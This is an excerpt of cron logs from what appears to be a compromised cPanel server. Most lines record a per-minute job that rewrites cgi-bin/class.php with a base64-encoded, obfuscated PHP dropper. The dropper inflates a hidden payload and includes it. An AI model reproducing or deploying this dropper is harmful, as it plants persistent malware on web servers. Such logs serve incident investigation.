Nov 14 03:17:01 server CROND[16909]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:18:01 server CROND[17195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:19:01 server CROND[18059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:20:01 server CROND[18920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:20:01 server CROND[18921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 03:20:01 server CROND[18923]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 03:20:01 server CROND[18925]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:20:01 server CROND[18924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:21:01 server CROND[19351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:22:01 server CROND[20242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:23:01 server CROND[21101]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:24:01 server CROND[21953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:25:01 server CROND[22829]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:25:01 server CROND[22830]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 03:25:01 server CROND[22833]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 03:25:01 server anacron[2756]: Job `cron.daily' started
Nov 14 03:25:01 server run-parts(/etc/cron.daily)[22892]: starting csget
Nov 14 03:25:01 server run-parts(/etc/cron.daily)[22902]: finished csget
Nov 14 03:25:01 server run-parts(/etc/cron.daily)[22892]: starting logclean
Nov 14 03:25:01 server run-parts(/etc/cron.daily)[22916]: finished logclean
Nov 14 03:25:01 server run-parts(/etc/cron.daily)[22892]: starting logrotate
Nov 14 03:25:02 server run-parts(/etc/cron.daily)[22942]: finished logrotate
Nov 14 03:25:02 server run-parts(/etc/cron.daily)[22892]: starting maldet
Nov 14 03:26:01 server CROND[24075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:27:01 server CROND[24806]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 03:27:01 server CROND[24807]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Nov 14 03:27:01 server CROND[24808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:28:01 server CROND[25672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 03:29:01 server CROND[26470]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
